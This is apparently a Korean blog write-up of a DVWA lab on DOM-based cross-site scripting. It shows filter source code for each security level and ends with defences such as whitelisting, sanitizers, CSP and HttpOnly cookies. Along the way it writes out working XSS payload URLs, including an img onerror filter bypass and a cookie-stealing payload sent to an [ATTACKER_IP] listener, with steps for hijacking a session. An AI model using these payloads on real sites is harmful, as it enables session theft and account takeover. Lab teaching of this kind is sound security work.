웹 해킹 & 보안
[웹 모의해킹] XSS - DOM 기반 크로스사이트스크립팅 실습
ahhyun98
2025. 6. 8. 14:49
이번 실습에서는 DOM(Document Object Model)을 조작하는 방식의 XSS 공격, 즉 DOM-Based XSS 취약점을 분석하고 실습하였다. DVWA 환경을 활용해 보안 수준별로 DOM XSS가 어떻게 발생하며, 어떤 식으로 방어하는지까지 확인하였다.
1. Low Security - 필터링 없이 DOM 삽입
공격 URL 예시
http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=<script>alert("you have been hacked :)")</script>
http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
- 위 URL처럼 default 파라미터에 <script> 태그를 삽입하면 그대로 DOM에 렌더링 되면서 XSS가 발생한다.
- %3Cscript%3Ealert(document.cookie)%3C/script%3E와 같이 인코딩 된 URL을 사용해도 결과는 동일하다.
- JavaScript로 쿠키를 탈취하거나 사용자의 브라우저를 조작할 수 있다.
실습 절차
1. 브라우저의 개발자 도구 (F12)에서 쿠키 값 중 PHPSESSID=[공격 대상 세션] 값을 수정한다.
2. 악성 URL로 접근하면 피해자의 로그인 상태로 페이지에 접근이 가능하다.
3. => 쿠키 탈취가 심각한 이유를 실제로 확인할 수 있다.
2. Medium Security - <script> 태그 필터링
필터링 소스 코드
if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) {
$default = $_GET['default'];
if (stripos($default, "<script") !== false) {
header("location: ?default=English");
exit;
}
}
- default 파라미터에 <script>가 포함되면 강제로 ?default=English로 리다이렉트 한다.
- 그러나 onerror, onload 등의 이벤트 기반 XSS는 여전히 우회 가능하다.
우회 공격
http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=English</select><img src/onerror=alert(123456)>
- <img> 태그의 onerror 이벤트를 활용한 우회 XSS.
- DOM 상에서 스크립트가 직접 실행되지 않지만, 이벤트 트리거를 통해 공격 가능하다.
3. 고급 공격 - 쿠키 탈취 시나리오
공격 URL
http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=English</select><img src/onerror=window.location="http://[ATTACKER_IP]:4444/?cookie="+document.cookie>
공격 서버 실행
python3 -m http.server 4444
- 위 공격 URL에 접속하면 피해자의 브라우저에서 쿠키가 공격자의 서버로 전송된다.
- Kali 리눅스에서 HTTP 서버를 열어두면 접속 로그에 쿠키 정보가 포함된 GET 요청이 기록된다.
4. High Security - 화이트리스트 기반 필터링
소스코드
if (array_key_exists("default", $_GET) && !is_null($_GET['default'])) {
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
break;
default:
header("location: ?default=English");
exit;
}
}
- default 값이 허용된 언어(French, English, German, Spanish) 외에는 무조건 리다이렉트 된다.
- DOM을 조작하더라도 URL # 프래그먼트에 스크립트를 넣으면 브라우저는 이를 파싱 한다.
우회 시도
http://[DVWA_IP]/DVWA/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>
- 클라이언트 사이드에서 location.hash 등을 통해 직접적으로 DOM 삽입이 이루어지는 경우 여전히 공격이 가능하다.
- 고급 DOM XSS는 클라이언트 자바스크립트 코드의 동작을 분석해야 파악할 수 있다.
5. 마무리
- DOM-Based XSS는 서버가 아닌 클라이언트(JavaScript)에서 발생하는 취약점으로, 탐지가 어렵고 방어도 까다롭다.
- <script> 필터링만으로는 충분하지 않으며, onerror, onload, iframe, img, svg 등 다양한 벡터가 존재한다.
- 고급 보안 수준에서는 화이트리스트 기반 필터링, DOM Sanitizer, CSP 적용이 필수적이다.
- 쿠키 탈취는 세션 하이재킹으로 이어질 수 있으므로, HttpOnly, Secure 등의 속성을 반드시 적용해야 한다.
이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.
모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.